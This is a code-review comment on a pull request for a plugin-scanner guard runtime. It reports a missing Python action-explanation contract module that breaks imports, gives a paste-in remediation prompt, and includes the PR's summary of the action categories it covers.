ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| from .action_explanation_contract import ( | ||
| ACTION_EXPLANATION_REDACTION_VERSION, | ||
| ACTION_EXPLANATION_RENDERER_VERSION, | ||
| GuardActionExplanationV1, |
There was a problem hiding this comment.
14. Missing python explanation contract 🐞 Bug ≡ Correctness
Both new Python explanation runtime modules import .action_explanation_contract, but that module does not exist in the repository. Importing the builder or semantic renderer therefore raises ModuleNotFoundError, preventing the new runtime from loading and causing its tests to fail before collection completes.
Agent Prompt
## Issue description
Add the missing Python action-explanation contract module, or redirect the imports to the existing authoritative equivalent. The builder and semantic renderer must be importable, able to validate their generated payloads, and no longer cause tests to fail before collection completes.
## Issue Context
Both newly added runtime modules unconditionally import the absent contract and use its parser while building explanations. Provide the versioned models, constants, parser, and action-kind definitions consumed by both modules, or change the imports to an existing equivalent contract.
## Fix Focus Areas
- src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py[18-23]
- src/codex_plugin_scanner/guard/runtime/semantic_explanations.py[19-27]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
Implements EVM-201 through EVM-300 on
release/3.0: permissions, disk/power, process/service, Git local/remote, network download and download+execute, secret access/exfiltration, package install/scripts, and container semantics. Presentation remains display-only and does not alter enforcement, policy, approvals, receipts, retention, or entitlements. All review comments and Core CI must pass before merge.